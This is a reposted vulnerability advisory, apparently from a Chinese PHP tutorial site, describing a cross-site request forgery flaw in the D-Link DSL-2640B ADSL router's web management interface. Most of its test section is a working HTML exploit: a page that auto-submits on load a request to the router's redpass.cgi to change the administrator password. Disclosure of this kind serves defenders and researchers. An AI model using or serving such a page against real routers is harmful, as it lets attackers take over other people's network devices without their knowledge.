来源：自学PHP网 时间：2015-04-17 13:03 作者： 阅读:次
[导读] 标题: D-Link DSL-2640B (ADSL Router) CSRF Vulnerability作者: Ivano Binetti www.2cto.com (http://ivanobinetti.com)程序网站: http://www.d-link.com影响版本: DSL-2640B测试平台: Firmware ......
|
标题: D-Link DSL-2640B (ADSL Router) CSRF Vulnerability
作者: Ivano Binetti www.2cto.com (http://ivanobinetti.com) 程序网站: http://www.d-link.com 影响版本: DSL-2640B 测试平台: Firmware Version: EU_4.00; Hardware Version: B2 +----------------------------------------------- [Change Admin Account Password by Ivano Binetti] --------+ Summary 1)概述 2)缺陷描述 3)测试 +----------------------------------------------------------------------+ 1)概述 D-Link DSL-2640B is an ADSL Router using (also) a web management interface. 2)Vulnerability Description The D-Link DSL-2640B's web interface (listening on tcp/ip port 80) is prone to CSRF vulnerabilities which allows to change router parameters and -among other things- to change default administrator("admin") password. 3)测试 <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to change ADMIN password</H2> <form method="POST" name="form0" action="http://192.168.1.1:80/redpass.cgi?sysPassword=new_password&change=1"> </form> </body> </html> |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
